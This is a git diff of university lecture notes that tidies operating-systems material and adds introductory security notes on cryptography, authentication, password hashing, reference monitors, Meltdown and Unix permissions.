* The **working set size** can be used as a guide for the number of frames that should be allocated to a process.
-
+
The working set is a **function of time** $t$:
@@ -96,9 +96,11 @@ The working set is a **function of time** $t$:
* **Stable** intervals alternate with intervals of **rapid change**
$|W(t,k)|$ is then a variable in time. Specifically:
+
$$
1\le |W(t,k)| \le min(k, N)
$$
+
where $N$ is the total number of pages of the process. All the maths is saying is that the size of the working set can be as small as **one** or as large as **all the pages in the process**.
Choosing the right value for $k$ is important:
diff --git a/docs/lectures/osc/15_file_systems1.md b/docs/lectures/osc/15_file_systems1.md
index 8fae76e..338dba5 100644
--- a/docs/lectures/osc/15_file_systems1.md
+++ b/docs/lectures/osc/15_file_systems1.md
@@ -16,7 +16,7 @@
>
> Hard disks are currently about 4 orders of magnitude slower than main memory.
-
+
#### Low Level Format
@@ -46,18 +46,20 @@ NOTE: disk capacity is reduced due to preamble & ECC
* **Transfer time**: time to transfer the data
-
+
Multiple requests may be happening at the same time (concurrently), so access time may be increased by **queuing time**
In this scenario, dominance of seek time leaves room for **optimisation** by carefully considering the order of read operations.
-
+
The **estimated seek time** (i.e to move the arm from one track to another) is approximated by:
+
$$
T_{s} = n \times m + s
$$
+
In which $T_{s}$ denotes the estimated seek time, $n$ the **number of tracks** to be crossed, $m$ the **crossing time per track** and $s$ any **additional startup delay**.
> Let us assume a disk that rotates at 3600 rpm
@@ -66,9 +68,11 @@ In which $T_{s}$ denotes the estimated seek time, $n$ the **number of tracks** t
> * The average **rotational latency** $T_{r}$ is then 8.3 ms
>
> Let **b** denote the **number of bytes transferred**, **N** the **number of bytes per track**, and **rpm** the **rotation speed in rotations per minute**, the per track, the transfer time, $T_{t}$, is then given by:
+>
> $$
> T_{t} = \frac b N \times \frac {ms\space per\space minute}{rpm}
> $$
+>
> $N$ bytes take 1 revolution => $\frac{60000}{3600}$ ms = $\frac {ms\space per\space minute}{rpm}$
>
> $b$ contiguous bytes takes $\frac{b}{N}$ revolutions.
@@ -119,7 +123,7 @@ In a dynamic situation, several I/O requests will be **made over time** that are
>
> The total length is: `|11-1|+|1-36|+|36-16|+|16-34|+|34-9|+|9-12|=111`
>
-> 
+> 
@@ -131,7 +135,7 @@ In a dynamic situation, several I/O requests will be **made over time** that are
>
> Total length is: `|11-12|+|12-9|+|9-16|+|16-1|+|1-34|+|34-36|=61`
>
-> 
+> 
>
> Disadvantages:
>
@@ -148,7 +152,7 @@ In a dynamic situation, several I/O requests will be **made over time** that are
>
> Total length: `|11-12|+|12-16|+|16-34|+|34-36|+|36-9|+|9-1|=60`
>
-> 
+> 
>
> **Disadvantages**:
>
diff --git a/docs/lectures/osc/16_file_systems2.md b/docs/lectures/osc/16_file_systems2.md
index 9e12aea..567651c 100644
--- a/docs/lectures/osc/16_file_systems2.md
+++ b/docs/lectures/osc/16_file_systems2.md
@@ -79,7 +79,7 @@ Retrieving a file comes down to **searching the directory file** as fast as poss
* Indexes or **hash tables** can be used.
* They can store all **file related attributes** (file name, disk address - Windows) or they can **contain a pointer** to the data structure that contains the details of the file (Unix)
-
+
##### System Calls
@@ -140,9 +140,9 @@ Disks are usually divided into **multiple partitions**
> * **Root directory**: the top of the file-system tree
> * **Data**: files and directories
-
+
-
+
Free space management with linked list (on the left) and bitmaps (on the right)
@@ -163,9 +163,9 @@ Apart from the free space memory tables, there is a number of key data structure
* A **system-wide open file table**, containing a copy of the FCB for every currently open file in the system, including location on disk, file size and **open count** (number of processes that use the file)
* A **per-process open file table**, containing a pointer to the system open file table.
-
+
-
+
diff --git a/docs/lectures/osc/17_file_systems3.md b/docs/lectures/osc/17_file_systems3.md
index c67da9f..a2be252 100644
--- a/docs/lectures/osc/17_file_systems3.md
+++ b/docs/lectures/osc/17_file_systems3.md
@@ -56,17 +56,17 @@ To avoid external fragmentation, files are stored in **separate blocks** that ar
> * **Random access is very slow**, to retrieve a block in the middle, one has to walk through the list from the start
> * There is some **internal fragmentation** - on average the last half of the block is left unused
> * Internal fragmentation will reduce for **smaller block sizes**
-> * However **larger blocks** will be **faster**
+> * However, **larger blocks** will be **faster**
> * Space for data is lost within the blocks due to the pointer, the data in a **block is no longer a power of 2**
> * **Diminished reliability**: if one block is corrupted/lost, access to the rest of the file is lost.
-
+
##### File Allocation Tables
* Store the linked-list pointers in a **separate index table** called a **file allocation table** in memory.
-
+
> **Advantages**
>
@@ -88,4 +88,4 @@ Each file has a small data structure (on disk) called an **I-node** (index-node)
I-nodes are composed of **direct block pointers** (usually 10) **indirect block pointers** or a combination thereof.
-
+
diff --git a/docs/lectures/security/01_intro.md b/docs/lectures/security/01_intro.md
new file mode 100644
index 0000000..71ba432
--- /dev/null
+++ b/docs/lectures/security/01_intro.md
@@ -0,0 +1,157 @@
+# Security
+
+#### What is security?
+
+Security is about the **protection of assets**
+
+- **Prevention**: Preventing access and damage to assets
+- **Detection**: Steps to detect the access or damage of assets
+- **Recovery**: Measures allowing us to recover from asset damage
+
+Assets could be physical or virtual data
+
+##### Historic Computer Security
+
+- Historically systems have been built to serve single users
+- Often only a few highly trusted users were permitted to access a system
+ - This makes mistakes made by trusted users still a concern
+- Current multi-user systems have completely different security concerns
+
+##### Modern Computer Security
+
+- Possibly thousands of users
+- Distributed over wide networks
+- Not all users are inherently trust worthy
+- More and more things are moving to electronic
+ - Requiring protocols to manage them
+
+### Attacks
+
+- Monetary transaction need security
+
+This is what most interactions look like and therefore attacks are based on this communication
+
+#### Eavesdropping
+
+To prevent this we use encryption, using `HTTPS` or `TLS`
+
+But how do we privately agree on an encryption key
+
+###### User authentication
+
+Is the client who they say they are
+
+What if the server gets hacked, we can use **hash functions**
+
+###### Digital Certificates
+
+However, this can be bypassed if the clients machine is hacked
+
+We have to ensure the client is running anti virus software and practices good avoidance.
+
+###### Insider attacks
+
+To stop this the company must practice good security such as:
+
+- Database security Controls
+- File access controls
+- Intruder detection
+- Security Auditing
+
+## Definitions
+
+There is no solid definition for *security*
+
+- Unbreakable?
+- Secure enough?
+
+It is often simply an arms race between developers & researchers and malicious users
+
+#### Managing Security
+
+- Within organisations, management are responsible for defining security needs
+- Developers implement these policies
+- A concise document explaining the needs is called a *Security Policy*
+ - What should be protected?
+ - How should we protect it?
+- UoN security policy
+ - https://www.nottingham.ac.uk/dts/security/it-security.aspx
+
+#### Computer Security
+
+- Usually defined as three keys areas (**CIA**)
+
+1. Confidentiality
+ - Prevention of unauthorised *disclosure* of information
+ - This involves unauthorised users reading private or secret information
+ - Medical records or credit card details
+2. Integrity
+ - Prevention of unauthorised *modification* of information
+ - Also the assurance that data remains *unmodified*
+ - Distributed bank transactions or database records
+ - Just because we have **integrity**, doesn’t mean we have **authenticity**
+ - Can we verify the sender? does it have freshness?
+ - Authenticity = Intercity + Freshness
+3. Availability
+ - Prevention of unauthorised *withholding* of information or resources
+ - The property of being accessible is an usable upon demand by an authorised entity
+ - In other words prevent DoS attacks
+ - e.g. redundant power supplies, firewall packet filtering
+
+#### Accountability
+
+- Users should be held responsible for their actions
+- The system should identify and authenticate users and ensure compliance
+- Audit trails must be kept
+
+#### Non-repudiation
+
+- Provides unforgeable evidence that someone did something
+- Mostly a legal concept
+- Evidence verifiable by a trusted third party
+ - e.g notaries, digital certificates
+- Applies to physical security as well
+ - Like key cards
+
+##### The security Dilemma
+
+> “Security-unaware users have specific security requirements but no security expertise”
+
+- There is a trade off between security and ease of use
+- Increased resource demands
+- Interferes with working patterns
+
+###### Added complexity
+
+- Often user experience is place at the forefront of software engineering
+- This is usually not compatible with security
+- Security can be seen as controlling access to information
+- This is hard, we usually control access to data instead
+ - Data - a means to represent information
+ - Information - an interpretation of that data
+- Focusing on data can still leave information vulnerable
+ - for example: Mikes criminal record not found
+ - vs you do not have permission to access mikes criminal record
+
+#### Security Design
+
+- Computer Security is **not** rocket science if:
+ - Approached in a systematic, disciplined and well planned manner
+ - From the inception / design of a system
+- However, if added as an afterthought, will often lead to disaster
+- Good security design focuses on these principles
+ 1. Focus of control
+ - In a given application, should the focus of protection mechanisms be:
+ - Data - permitted manipulation of data
+ - consistency check
+ - Operations - permitted invocations
+ - Users - permissions for specific users
+ 2. Complexity vs assurance
+ - Would we prefer a simple approach with *high assurance*? or a feature rich environment
+ 3. Centralised or decentralised controls
+ - Should defining and enforcing security be performed by central entity, or be left to individual components in a system
+ - **Central entity** - possible bottleneck
+ - **Distributed solution** - more efficient, but harder to manage
+ 4. Layered security
+ - We can visualise our security model in layers
+ - Each layer protects a boundary, and relies on the security of the layers below
diff --git a/docs/lectures/security/02_security_management.md b/docs/lectures/security/02_security_management.md
new file mode 100644
index 0000000..d898854
--- /dev/null
+++ b/docs/lectures/security/02_security_management.md
@@ -0,0 +1,95 @@
+# Security Management
+
+> “Information security is the protection of information from a wide range of threats in order to ensure business continuity, minimise business risk, and maximise return on investments and business opportunities” - ISO/IEC 17799 Code of practice for information security management, 2005
+
+> “The concepts, techniques, technical measures, and administrative measures used to protect information assets from deliberate or inadvertent unauthorised acquisition, damage, disclosure, manipulation, modification, loss, or use” - IBM Dictionary of Computing, 1994
+
+**Informational Security:** preservation of **confidentiality**, **integrity** and **availability** of information. In addition, other properties such as authenticity, accountability, non-repudiation and reliability can also be involved
+
+> “Cybersecurity is how individuals and organisations reduce the risk of cyber attack.
+>
+> Cybersecurity's core function is to protect the devices we all use (smartphones, laptops, tablets and computers), and the services we access - both online and at work - from theft or damage.
+>
+> It's also about preventing unauthorised access to the vast amounts of personal information we store on these devices, and online” - UK National Cyber Security Centre www.ncsc.gov.uk/section/about-ncsc/what-is-cyber-security
+
+### Security Policy
+
+- A statement of overall intent and commitment to security
+- Provides a *foundation* for other aspects
+- High level policy applies to the organisation and everyone in it
+ - more focused policies may apply to specific departments, systems etc
+- Identifies what but not how
+ - the *how* part would be covered by accompanying guidelines
+
+#### Characteristics of a good policy
+
+- Is short and backed from the top of the organisation
+ - Ensure everyone reads it
+- Recognises that information is critical & must be protected
+- Emphasises the importance of security awareness & training
+- Emphasises compliance with legal and regulatory requirements
+- Emphasises relations with third parties
+- States roles and responsibilities for information security
+- Outlines standards and procedures
+- States the consequences of violations and non-compliance
+
+Note the lack of policies on personally owned devices, considering ~100% of people have one or more.
+
+### Recognising Risk
+
+**Removal**
+
+System is modified so that a particular feature, and the associated risk is removed.
+
+**Reduction**
+
+Security measures are used to reduce risk to an acceptable level.
+
+**Retention**
+
+Nothing is done - the risk is small and insignificant
+
+**Relocation**
+
+The system is unchanged, but risk is transferred to another party e.g. an insurance
+
+###### Management need to know
+
+- What’s at risk
+- The cost incurred if the risk becomes a breach
+- Safeguards that can be implemented
+- The cost of safeguards
+- The risk reduction that will result from implementation of specific safeguards
+
+### Baseline Security
+
+- A minimum level of protection that should be considered by all organisations ulitilising IT systems
+ - Although many organisation will require protection considerably above baseline
+ - Can provide a *common* basis for mutual trust
+
+###### Cyber Essentials
+
+- Enables organisations to be certified independently for having met a good practice standard in cyber security
+- Addresses five technical control themes:
+ 1. Firewalls
+ 2. Secure configuration
+ 3. User access control
+ 4. Malware protection
+ 5. Security Update management
+
+###### ISO 27001
+
+- the central element of the ISO 27000 series
+- describes best practice for an ISMS (information security management system)
+- outlines of each aspect of an ISMS, and other standards provide further detail (e.g. 27002 for controls, 27003 for implementation, 27004 for evaluation)
+
+###### ISO 27002
+
+- provides advice on how to implement security controls listed in Annex A of ISO 27001
+
+### The need for Professional Skills
+
+- Although simplified at the abstract level, actually following even the baseline controls is non-trivial
+ - Simply knowing about them does not tell you *how* to comply
+ - Still requires the ability to assess the current environment and understand the appropriate protection and how to apply it
+- Organisations require professionals with appropriate security knowledge, skills and competence.
\ No newline at end of file
diff --git a/docs/lectures/security/03_cryptography.md b/docs/lectures/security/03_cryptography.md
new file mode 100644
index 0000000..a146aa5
--- /dev/null
+++ b/docs/lectures/security/03_cryptography.md
@@ -0,0 +1,120 @@
+# Symmetric Cryptography
+
+- Symmetric encryption gives us confidentiality
+- Implemented using block ciphers or stream ciphers
+ - Lightweight and fast
+ - Used for general communication
+
+
+
+### Stream Cipher
+
+- Stream ciphers use an initial seed key to generate an infinite keystream of random looking bits
+- The message and keystream are usually combined using an `xor` ($\oplus$) which is reversible if applied twice
+
+- How ever using the same keystream to encrypt two messages makes messages easy to break
+- A random *number used once* nonce is added as an additional seed
+- The nonce is not a secret, it simply ensures the keystream is new
+
+##### Pros and Cons
+
+✅ Encrypting long continuous streams, possibly of unknown length
+
+✅ Extremely fast with low memory footprint, ideal for low-power battery devices
+
+✅ If designed well, can seek to any location in the stream
+
+❌ The keystream must appear statistically random
+
+❌ You must **never** reuse a key & nonce
+
+❌ Stream ciphers do not protect the cipher-text
+
+#### Block Ciphers
+
+- Block ciphers use a key to encrypt a fixed size block of plain text into a *fixed-sized block* of cipher-text
+ - Changing and permuting the bits of the block depending on the key
+- Different lengths of messages can be handled by splitting the message up, and padding
+
+##### SP-Network
+
+- Repeated substitution and permutation
+
+
+
+- This round will be run multiple times (around 10-15 times)
+
+###### Key Mixing
+
+- Mixing in the key prevents attackers from reversing the process
+
+
+
+- To decrypt, reverse the process
+
+#### Symmetric Algorithms
+
+- `DES` was used from 1970s to 2000s
+- `3DES` (using DES 3 times) is sometimes found in legacy systems
+- `AES` and `ChaCha20` are the only two ciphers used in `TLS 1.3`
+
+| Algorithm | Cipher type | Design | Block Size (bits) | Speed | Memory Footprint | Safe Implementation Difficulty | Key Sizes |
+| ---------- | ----------- | ------------ | ----------------- | --------- | ---------------- | ------------------------------ | --------- |
+| `DES` | Block | `Feistel` | 64 | Fast | Low | Easy | 56 |
+| `3DES` | Block | `Feistel` | 64 | Slow | Low | Easy | 112 |
+| `AES` | Block | `SP-Network` | 128 | very fast | medium | Hard | 128/192 |
+| `ChaCha20` | Stream | add-xor-rot | N/A | Very fast | very low | Easy | 256 |
+
+### Attack Models
+
+1. Brute force
+ - Weakest attack, guessing the key
+ - If the key is $2^{128}$, on a super computer would take $10^9$ years
+2. Cipher text only
+ - Static analysis on the cipher text, frequency analysis etc
+ - e.g. looking at the enginma machine and recognising a letter cannot be itself
+3. Known plaintext
+ - Where you know some plaintext and the corresponding ciphertext
+ - e.g. Enigma being broken using “heil hitler”
+4. Chosen plaintext
+ - Seeing if certain plain-texts takes the algorithm longer/shorter
+5. Chosen ciphertext
+6. Related-key attack
+ - Get the same message encrypted in different keys
+ - More of a theoretical attack
+
+Modern algorithms are expected to overcome these attacks trivially
+
+## Asymmetric Encryption
+
+- Two keys, a public & private key
+- Public-key asymmetric cryptography hinges upon the premuse that:
+ - It is computationally infeasible to calculate a private key from a public key
+- In practice this is achieved through intractable mathematical problems
+
+#### Key Exchange
+
+- Diffie-Hellman key exchange allows two parties to mathematically agree a shared secret over an insecure channel
+
+
+
+It is extremely easy to go from a -> A but extremely difficult to go backwards.
+
+- Encryption performed by the **public** key can only be decrypted by the corresponding **private** key
+
+#### Public key Encryption
+
+- Client encrypts message with servers public key, now only the server’s private key can be used to read it.
+- The authenticity of signatures generated by the private key can be verified by the public key
+
+
+
+##### Public key Algorithms
+
+| Algorithm | Key Exchange | Encryption | Digital Signitures | Mathematical Problem | Elliptic Curves | Typical Key Size |
+| :------------- | :----------: | :--------: | :----------------: | --------------------- | :-------------: | ---------------- |
+| Diffie-Hellmen | ✅ | ❌ | ❌ | Discrete Logs | ✅ | 256 |
+| `RSA` | ❌ | ✅ | ✅ | Integer Factorisation | ❌ | 2048/4096 |
+| `Elgamal` | ❌ | ✅ | ✅ | Discrete Logs | ✅ | 2048 |
+| `DSA` | ❌ | ❌ | ✅ | Discrete Logs | ✅ | 256 |
+
diff --git a/docs/lectures/security/04_users_and_authentication.md b/docs/lectures/security/04_users_and_authentication.md
new file mode 100644
index 0000000..0c891bd
--- /dev/null
+++ b/docs/lectures/security/04_users_and_authentication.md
@@ -0,0 +1,159 @@
+# Users and Authentication
+
+- Users must be *identified* to enable:
+ - User specific access controls
+ - Individuals accountability for activities
+- Claimed identities must be authenticated
+ - First line of system protection
+ - Safeguards against abuse by external parties or unauthorised insiders
+
+##### Authentication Methods
+
+1. Something the user *knows*
+ - passwords, PINs
+2. Something the user *has*
+ - a card, a token
+3. Something the user *is*
+ - a bio-metric so a finger print or the users face
+
+#### Passwords
+
+On one level they are very usable
+
+- Easy to understand the idea
+- Familiar across different systems
+- high degree of cross device applicability
+- perceived to be low cost
+
+Ease of use is often because users have not been made to use them properly
+
+- Users make poor selections
+ - Dictionary words
+ - things that people could guess or social engineer
+- Use the same password on multiple systems
+- Share them with other people
+- Write them down in discoverable places
+
+
+
+#### Current Guidance on Password Systems
+
+- The latest NIST recommendation advise:
+ - Against automatic password expiry
+ - Passwords should only be changed when there’s a reason
+ - Against imposing rules for complex passwords
+ - Length matters more than complexity
+ - Against password hints or knowledge-based authentication
+ - Social media means these can be socially engineered
+ - To enable “show password while typing” and to allow paste-in password fields
+
+> Passwords are a **broken mechanism**
+>
+> - The *method* itself won’t naturally improve over time
+> - User *behaviour* won’t naturally improve either
+> - Change the method or support people better
+
+Browsers can now auto-generate passwords for us
+
+- Avoids users making poor decisions
+- But also avoids us
+ - Knowing what the password is
+ - Needing to know the good practice
+
+Some devices may not support password entry
+
+- For example dictating a password to an Alexa or google home
+- Mobile devices with small keyboards can be tricky
+
+#### Token-based Authentication
+
+###### Examples
+
+- Magnetic cards
+- Smart cards
+- Code generators
+- Wearable devices
+- Smartphones
+
+Often combined with a secret knowledge to form a 2-stage / 2-factor authentication
+
+- e.g. using an ATM requires card and pin
+
+Smartphone apps can proveide the same functionality as authentication tokens (i.e. computing OTP)
+
+- The users no longer need a separate, dedicated device
+ - Think nationwide card reader for transfers
+- Relies on the security of the smartphone
+ - User authentication on the device and or the app
+ - Prevention of compromise via attacks
+
+#### Biometrics
+
+- Theoretically far more usable
+ - Nothing for the user to remember
+ - Nothing for them to lose or leave behind
+
+
+
+
+
+Biometrics can be copied, but not easily
+
+###### Desirable Characteristics
+
+- **Circumvention** - the ease with which an impostor may be able to duplicate or imitate the characteristic in order to gain unauthorised access;
+- **Collectability** - the ease with which a sensor is able to collect the sample;
+- **Performance** – the accuracy, speed and robustness of the technique;
+- **Permanence** - the ability for the characteristic to remain consistent over time;
+- **Acceptability** - the degree to which the technique is found to be acceptable by those that are expected to be using it;
+- **Universality** - the ability for a technique to be applied to a whole population of users;
+- **Uniqueness** - the ability to successfully discriminate between different individuals within the target population
+
+
+
+###### Biometrics Errors
+
+- **F**alse **R**ejection **R**ate (**FRR**)
+ - Errors where the system falsely identifies the legitimate user as an imposter
+ - Also known as False Alarm Rate or Type I error
+- **F**alse **A**cceptance **R**ate (**FAR**)
+ - Errors where imposters are falsely believed to be legitimate users
+ - Also known as Impostor Pass Rate or Type II error
+- **E**qual **E**rror **R**ate (**EER**)
+ - The point at which FAR and FRR coincide
+ - The measure normally used to assess biometric products
+- Failure to Enroll
+ - Errors in which the system is unable to establish as biometric template for a proposed user
+ - e.g. some people don’t have finger prints, some reglions require face covering
+- Failure to Acquire
+ - Errors in which the system is unable to successfully acquire the information required to make a decision
+
+A legitimate user’s experience of biometrics will be informed by:
+
+- The combined FRR and FAR
+- The throughput (speed & responsiveness) of the system.
+
+Developers focus can change on implementation. For example if being used as a password replacement, FAR should be minimised.
+
+
+
+##### Modes of Use
+
+- **Verification**
+ - User claims an identity - authentication against that identity
+ - One-to-one match (1:1)
+ - Less unique characteristics can be ultised
+- **Identification**
+ - Users’ biometric sample is compared against all in database
+ - One-to-Many match (1:N)
+ - Only the more unique biometrics can be ultised - fingerprints, iris, retina etc
+
+### 2-Factor Authentication
+
+Two-factor and multi-factor Authentication
+
+- Combine two or more elements together to enable stronger authentication assurance
+- Typical implementations have been a password & token
+- Ideally you want factors from different categories
+
+
\ No newline at end of file
diff --git a/docs/lectures/security/05_authentication_and_hash.md b/docs/lectures/security/05_authentication_and_hash.md
new file mode 100644
index 0000000..97014ce
--- /dev/null
+++ b/docs/lectures/security/05_authentication_and_hash.md
@@ -0,0 +1,121 @@
+# Authentication
+
+- To allow some access to an asset we must ensure:
+ - They are permitted to access that asset
+ - They are who they say they are
+- We can attempt to verify identity using credentials
+ - Something the user *is*
+ - Something the user *has*
+ - Something the user *knows*
+
+#### Usernames and Passwords
+
+- Identification - who are you
+- Authentication - verify that identity
+- Authentication should expire
+ - *Remember my credentials* turns this into something you have
+- **T**ime **o**f **c**heck **t**o **t**ime **o**f **u**se - **TOCTTOU**
+ - Repeated authentication
+ - At the start and during a session
+
+##### Problems with passwords
+
+- People forget them
+- They can be guessed
+- Spoofing and phishing
+- Compromising password files
+- Key-logging
+- Many of these are made many times worse by weak passwords
+
+### Hash Functions
+
+- Another crptographic primitive
+- Takes a message of any length, and returns a pseudorandom hash of fixed length
+
+$$
+h(M):\{0,1\}^n \rightarrow \{0,1\}^{128}
+$$
+
+- Hash functions are used everywhere. Message authentication, integrity, passwords etc
+
+#### Strong Hash Functions
+
+- The output must be indistinguishable from random noise
+- Bit changes must be diffused through the entire output
+
+
+
+For a hash function to be useful, we need it to have some important properties:
+
+1. Given a hash, we can’t reverse it
+2. It is impractical to find messages that produce the same hash - a *hash collision*
+
+##### Password Authentication (wrong way)
+
+
+
+If database is breached, passwords are stored in plaintext
+
+- Storing passwords in plaintext is a terrible idea
+ - Administrators can read them
+- Storing encrypted passwords is better, but not perfect
+ - Where are keys stored?
+ - Administrators can read them
+
+Using a **one-way hash function** is a much better solution
+
+
+
+#### Password & Shadow Files
+
+- Operating systems have taken steps to stop people reading hashes for offline attacks
+ - Linux stores hashes in a shadow file `/etc/shadow`
+- These files are now **read-protected**
+
+#### Cracking Passwords
+
+- Cracking a password isn’t always illegal
+- Password cracking falls into two basic types:
+ - Offline: you have a copy of the password hash locally
+ - This is trying possible passwords and seeing if we have a hash collision with the password list
+ - Usually done via brute force however difficulty is $\{char\space count\}^{length}$
+ - Online: You do not have the hash, and are instead attempting to gain access to an actual login terminal
+- Online is usually atempted via phising
+
+
+
+##### Dictionary Attacks
+
+- Most password cracking is now achieved using **dictionary attacks** rather than brute force
+ - Using a dictionary of common words and passwords
+ - Apply small variations to this list, trying them all
+ - Combine words from two different lists
+- `qwerty1234password1` is unbreakable using brute force, but won’t last against a dictionary attack
+
+##### Password Salting
+
+- We can improve security by pre-pending a random *salt* to a password before hashing
+- The salt is stored unencrpted with the hash
+- If a hacker has a list of hashed passwords, and three of them are the same, he can summise they’re all a common password.
+ - Salting adds non-secrete randomness to passwords
+
+
+
+- If we use a different random salt for each user, we get the following security benefits:
+ 1. Cracking multiple passwords is slower - a hit is for a single user, not all users with that password
+ 2. Prevents **rainbow table** attacks - we can’t pre-compute that many password combinations
+- Salting has no effect on the speed of cracking a single password
+
+#### Hashing Speed
+
+- When password cracking, the most important factor is *hashing speed*
+- New algorithms take longer
+ - Partly because they’re more complex
+ - But some have been specifically designed to take a while
+- Iterate to increase complexity
+
+##### Social Cracking
+
+- Obtaining private details by offering some *pretext* as a reason for needing them
+- We continue to rely on email addresses, DOB and Mother’s maiden names as our *last line of defence* for security
+- How much information do we need to ring up a company as someone else
\ No newline at end of file
diff --git a/docs/lectures/security/06_reference_monitors.md b/docs/lectures/security/06_reference_monitors.md
new file mode 100644
index 0000000..b0af352
--- /dev/null
+++ b/docs/lectures/security/06_reference_monitors.md
@@ -0,0 +1,186 @@
+# Reference Monitors
+
+The reference monitor is an abstract concept
+
+> An access control concept that refers to an abstract machine that mediates all access to objects by subjects
+
+- Must be tamper proof
+- Must *always be invoked* when access to an object is required
+- Must be small enough to be verifiable / subject to analysis to ensure correctness
+
+##### Placement
+
+- Can be placed anywhere within the system
+ - Hardware - dedicated registers for defining privileges
+ - Operating system kernel - virtual machine hyper-visor
+ - Operating system - Windows security reference monitor
+ - Services layer - `JVM`, `.NET`
+ - Application layer - Firewalls
+
+Reference monitors could be placed in a variety of locations relative to the program being run
+
+
+
+The last example where the program contains its own reference monitor, as found in Windows XP, is a terrible idea - it leaves permissions down to the developer.
+
+###### Lower is better
+
+- Using a reference monitor or other security features at a lower level means:
+ - We can **assure** a higher degree of security
+ - Usually **simple structures** to implement
+ - Reduced performance **overheads**
+ - Has to be extremely quick as many calls will be made
+ - Fewer layer below attack possibilities
+- However
+ - Access control decisions are far removed from applications
+
+#### OS Integrity
+
+- The operating system
+ - Arbitrates access requests
+ - Is itself a resource that must be accessed
+- This is a conflict, we want to use the OS but not mess with it
+
+> Users must not be able to modify the operating system
+
+- Modes of operation
+ - Defines which actions are permitted in which mode e.g. system calls, machine instructions, I/O
+- Controlled Invocation
+ - Allows us to execute privileged instructions safely, before returning to user code
+
+We must distinguish computations done on behalf of:
+
+- The OS
+- The user
+
+A status flag within the CPU allows the OS to operate in different modes
+
+
+
+In practice, Windows and Unix only use Ring 0&3 to save on overhead
+
+### Controlled Invocation
+
+- Many functions are helf at kernel level, but are quite reasonably called from within user level code
+ - Network and File IO
+ - Memory allocation
+ - Halting the CPU (at shutdown only)
+- We need a mechanism to transfer safely between kernel mode (ring 0) and user mode (ring 3)
+
+> We don’t actually perform privileged operations, we asking the operating system to perform them for us - The operating system can refuse to do it
+
+##### Interrupts
+
+- Exceptions or Interrupts
+ - In many ways is the hardware equivalent to a software exception - not always bad
+- Handled by an interrupt handler which resolves the issue and returns to the original code
+
+Processing an Interrupt
+
+- Given an interrupt, the CPU will switch execution to location given in an interrupt descriptor table
+
+
+
+#### Descriptors and Selectors
+
+- Descriptors hold information on crucial system objects like kernel structure locations
+- Descriptors are held in descriptor tables
+ - Contain a Descriptor Privilege Level (DPL)
+- Descriptors are indexed by selectors
+ - Loaded when required (jump calls)
+- The CPU protects the kernel by checking the Current Privilege Level (CPL) when a Selector is loaded
+
+##### Interrupt Gates
+
+- The code segment (CS) register in x86 CPUs has 2-bits reserved for the Current Privilege Level (CPL)
+- Descriptors that have a privilege level higher than where they point are called gates
+- Since these descriptors are created by the kernel, they offer a secure means of entry into ring 0
+
+
+
+###### Modern Kernels
+
+- Intel introduced the `sysenter` and `sysexit` operations with the Pentium II
+ - performs with much less overhead
+
+
+
+We got immediately in to ring 0
+
+However where we go next is dictated by the `sysenter` pointer, users cannot write to `sysenter`
+
+#### Patching the Kernel
+
+- If you can run custom PL 0 code, you can insert your own handler - **Rootkit**
+
+
+
+## Memory Protection
+
+- A process is a program being executed currently
+- Important unit of control
+ - Exists in its own address space
+ - Communicates with other processes via the OS
+ - Separation for security
+- A thread is a strand of execution within a process
+ - Share a common address space
+- Segmentation - divides data into logical units
+ - Good for security
+ - Challenging memory management
+ - Not used much in modern OSs
+ - Modern OSs only have two segments, one for user space, the other for kernel space
+- Paging - divides memory into pages of equal size
+ - Efficient memory management
+ - Less good for access control
+ - Extremely common in modern OSs
+
+##### Page Tables
+
+- All processes see an individual linear address space
+- Page tables map from a linear address space to the physical address space
+
+
+
+###### Meltdown
+
+- In most operating systems, the entire kernel is stored in the upper address space
+- Pages in this area are flagged as supervisor, and cannot be access outside ring 0
+- Meltdown is an exploit that allows us to read this privileged memory
+ - We do this using a *side-channel*
+
+
+
+- In Intel CPUs, it’s common to speculatively evaluate code prior reaching it
+ - E.g. conditionals
+ - **Significant** speed up
+ - No harm done, changes are just rolled back
+ - But the **cache isn’t rolled back**
+- This is called side-channelling and cache timing
+
+```java
+...
+w = illegal_instruction;
+x = memory[data * 4096];
+...
+```
+
+- When the CPU runs this code, it will take a significant amount of time to determine that `w` shouldn’t be run, however by that point the speculative code has run `memory[data*4096]`.
+- We won’t see the result as it’ll be discarded once it is discovered `w` was an illegal instruction, although it will appear in cache
+
+
+
+- When all the cache is loaded, one page will load significantly quicker than others as it was loaded during speculative running.
+
+###### Attack steps
+
+1. Flush the cache
+2. CPU speculatively evaluates our read using *data*
+3. Read all pages pointed to by `memory[]` and time it
+4. Page 117 was quicker
+
+- Meltdown attempts to read a value from kernel memory
+ - Read from kernel
+ - Mask out single bit
+ - Access user memory at that location
+ - If we repeat we can read all memory in kernel space
+
diff --git a/docs/lectures/security/07_unix_security.md b/docs/lectures/security/07_unix_security.md
new file mode 100644
index 0000000..24f1f01
--- /dev/null
+++ b/docs/lectures/security/07_unix_security.md
@@ -0,0 +1,165 @@
+# Unix and Linux Security
+
+### Role of the OS
+
+- Identification
+- Authentication
+ - Lets us verify who we are to the system
+ - Some files are private, some are public
+ - System files must be protected
+ - We need to be able to access applications
+- Access control
+- Auditing
+
+#### Authentication & Authorisation
+
+- Subject / Principle - an active entity
+- Object - resource being accessed
+- Access operation
+- Reference monitor - grants or denies access
+
+
+
+**Principle**
+
+> “An entity that can be granted access to objects or can make statements affecting access control decisions”
+
+- e.g. user identity in an OS
+- Used when discussing security policies
+
+**Subject**
+
+> “An active entity within an IT system”
+
+- e.g. process running under a user identity
+- Used when discussing operational systems enforcing policies
+
+**Objects**
+
+Files or resources - memory, printers, directories
+
+- Two options for focusing control:
+ 1. What a subject is allowed to do
+ 2. What may be done to an object
+
+#### General Model
+
+- We’ll settle on some common access files:
+ - **Read** - Simply viewing (**confidentiality**)
+ - **Write** - Includes changing, appending, deleting (**integrity**)
+ - **Execute** - Can run a file without knowing its contents
+
+##### Ownership
+
+- Who is in charge of setting security policies
+- **Discretionary**: Owner can be defined for each resource
+ - Owner controls who gets access
+- **Mandatory**: There could be a system-wide policy
+ - e.g. a government with different levels of security (top secret, level 3 clearance, etc)
+ - Not commonly used for businesses
+- Most OS’s support the concept of ownership
+
+### Unix
+
+- Unix simplifies access control by considering only the *user*, *group* and *others*
+ - User is the current owner
+ - Group is the named group entity
+ - Everyone else
+- Unix offers read, write and execute access controls
+
+##### Groups
+
+- Users with similar access rights can be collected into groups
+- Groups are given permissions to access objects
+
+
+
+##### UID & GID
+
+- Usernames in unix are soft aliases, your UID is what determines permissions
+ - User identities: UID
+ - Group identities: GID
